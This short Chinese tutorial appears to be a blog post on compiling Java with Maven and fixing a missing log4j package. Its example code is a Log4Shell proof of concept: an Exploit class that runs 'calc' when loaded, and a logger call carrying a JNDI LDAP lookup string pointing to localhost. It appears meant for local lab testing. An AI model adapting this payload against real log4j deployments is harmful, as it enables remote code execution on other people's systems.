Maven编译java及解决程序包org.apache.logging.log4j不存在问题

1、首先新建一个文件夹，比如hello
Hello里新建pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

注意上面dependencies部分用于解决程序包org.apache.logging.log4j不存在问题，即
Maven编译java及解决程序包org.apache.logging.log4j不存在问题
和文件夹src\main\java
java里新建Exploit.java和LogTest.java
Exploit.java

class Exploit{
    static {
        System.err.println("Pwned");
        try {
            String cmds = "calc";
            Runtime.getRuntime().exec(cmds);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

LogTest.java

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
    public static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        logger.error("${jndi:ldap://localhost:1389/Exploit}");
    }
}

2、然后使用meve compile编译就行

生成的class在target里

另外值得注意的是编辑xml不要用记事本，会有缩进问题，建议使用vscode编辑
